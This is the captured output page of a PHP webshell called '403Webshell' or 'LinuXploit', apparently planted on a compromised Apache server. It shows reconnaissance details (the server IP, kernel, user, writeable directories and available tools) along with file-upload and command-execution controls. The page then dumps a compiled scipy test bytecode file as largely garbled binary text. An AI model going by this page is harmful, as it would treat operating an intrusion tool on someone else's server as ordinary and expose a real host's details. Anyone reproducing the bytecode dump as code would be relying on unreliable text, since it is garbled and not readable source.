403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.37
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/special/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/special/tests/__pycache__/test_ndtri_exp.cpython-311.pyc
�

d�c|���ddlZddlZddlmZmZddlmZmZddl	m
Z
d�Zejd���d���Z
Gd	�d
��ZdS)�N)�assert_equal�assert_allclose��log_ndtr�	ndtri_exp)�assert_func_equalc�:�tt|����S�Nr��ys �D/usr/lib/python3/dist-packages/scipy/special/tests/test_ndtri_exp.py�log_ndtr_ndtri_exprs���I�a�L�L�!�!�!��class)�scopec�n�tj�d��}|�d��}|S)Ni�i�)�np�random�RandomState�
random_sample)�random_state�pointss  r
�uniform_random_pointsrs/���9�(�(��.�.�L�
�
'�
'��
-�
-�F��Mrc
���eZdZdZej�dddddeje	��j
g��d���Zej�dgd	���d
���Zd�Z
d�Zd
�ZdS)�TestNdtriExpa�Tests that ndtri_exp is sufficiently close to an inverse of log_ndtr.

    We have separate tests for the five intervals (-inf, -10),
    [-10, -2), [-2, -0.14542), [-0.14542, -1e-6), and [-1e-6, 0).
    ndtri_exp(y) is computed in three different ways depending on if y
    is in (-inf, -2), [-2, log(1 - exp(-2))], or [log(1 - exp(-2), 0).
    Each of these intervals is given its own test with two additional tests
    for handling very small values and values very close to zero.
    �
test_inputg$�gY�g _��g@��x��c�T�|}|d|zdzz}ttd�|dd���dS)Ng�?c��|Sr
�rs r
�<lambda>z2TestNdtriExp.test_very_small_arg.<locals>.<lambda>&���a�r�+����=T��rtol�nan_ok�rr)�selfrr�scalers     r
�test_very_small_argz TestNdtriExp.test_very_small_argsO�����#� 5�5��;�<�����K����		
�	
�	
�	
�	
�	
rzinterval,expected_rtol)))i�������r"))r*�̗`�¿��-���q=))r+���ư�g�����|�=))r-rg���ư>c�Z�|\}}||z
|z|z}ttd�||d���dS)Nc��|Sr
rrs r
r z/TestNdtriExp.test_in_interval.<locals>.<lambda>9r!rTr#r&)r'�interval�
expected_rtolr�left�rightrs       r
�test_in_intervalzTestNdtriExp.test_in_interval+sR�����e��$�,�"7�7�$�>�����K����		
�	
�	
�	
�	
�	
rc�2�tj�tjt��jddddg��}tjt��j}tj||g��}t|��}t||d���dS)Nrr,)r$)
r�	nextafter�reduce�finfo�float�min�tiny�arrayrr)r'�bigneg�tinyneg�x�results     r
�test_extremezTestNdtriExp.test_extreme>s~��*��$�$�b�h�u�o�o�&9�1�a��A�%F�G�G���8�E�?�?�'�'���H�g�v�&�'�'��#�A�&�&������.�.�.�.�.�.rc��tttjdg��tjtjg��dS)Ng)rrr�inf�r's r
�test_asymptoteszTestNdtriExp.test_asymptotesZs3���Y�����~�.�.�"�&��"�&�0A�B�B�B�B�Brc�L�tjtd����sJ�dS)Ng�?)r�isnanrrDs r
�test_outside_domainz TestNdtriExp.test_outside_domain]s$���x�	�#���'�'�'�'�'�'�'rN)�__name__�
__module__�__qualname__�__doc__�pytest�mark�parametrizerr8r9�maxr)r4rArErHrrr
rrs����������[����t�T�5�%�(�"�(�5�/�/�2E�1E�F���
�
���
��[��� �	
�	
�	
���
�
���
�/�/�/�8C�C�C�(�(�(�(�(rr)rM�numpyr�
numpy.testingrr�
scipy.specialrr�scipy.special._testutilsrr�fixturerrrrr
�<module>rVs���
�
�
�
�����7�7�7�7�7�7�7�7�-�-�-�-�-�-�-�-�6�6�6�6�6�6�"�"�"����g���������K(�K(�K(�K(�K(�K(�K(�K(�K(�K(r

Youez - 2016 - github.com/yon3zu
LinuXploit